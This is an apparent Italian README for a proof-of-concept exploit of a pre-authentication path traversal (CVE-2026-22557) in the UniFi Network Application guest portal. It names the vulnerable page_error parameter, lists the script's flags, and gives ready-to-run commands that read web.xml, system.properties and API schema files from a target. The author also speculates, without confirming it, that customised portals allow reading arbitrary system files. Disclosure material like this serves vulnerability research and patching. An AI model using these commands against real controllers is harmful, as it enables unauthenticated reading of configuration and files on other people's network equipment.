
PoC per la Path Traversal Pre-Auth di UniFi Network Application (CVE-2026-22557)
Path traversal pre-autenticato nel portale ospiti della UniFi Network Application (/guest/s/{site}/login). Il parametro di query page_error viene passato a un resource loader senza validazione, consentendo a un attaccante non autenticato di leggere file dalla webapp (ad es. WEB-INF/web.xml).
Se la pagina del portale ospiti è stata personalizzata, il resource loader sembra ripiegare su un ramo FileInputStream grezzo che può accedere a file arbitrari sul sistema sottostante al di fuori della context root. Non l'ho ancora confermato e indagherò ulteriormente se avrò tempo.
pip install requests
python CVE-2026-22557.py <target_url> [-f FILE] [-g GUEST_PATH] [-o OUTPUT] [-x PROXY]
| Flag | Descrizione | Predefinito |
|---|
target | URL del target (ad es. https://host:8843) | (obbligatorio) |
-f | Percorso relativo da leggere | ../../web.xml |
-g | Percorso del portale ospiti | /guest/s/default/login |
-o | Scrive la risposta su file | (stdout) |
-x | URL del proxy | (nessuno) |

# Predefinito -- legge WEB-INF/web.xml (portale ospiti HTTPS)
python CVE-2026-22557.py https://192.168.1.1:8843
# Portale ospiti HTTP
python CVE-2026-22557.py http://192.168.1.1:8880
# Legge una risorsa dal classpath
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../system.properties
# Legge lo schema API e lo salva su file
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../api/fields/Setting.json -o setting.json
# Nome del sito diverso
python CVE-2026-22557.py https://192.168.1.1:8843 -g /guest/s/mysite/login
# Tramite un proxy
python CVE-2026-22557.py https://192.168.1.1:8843 -x http://127.0.0.1:8080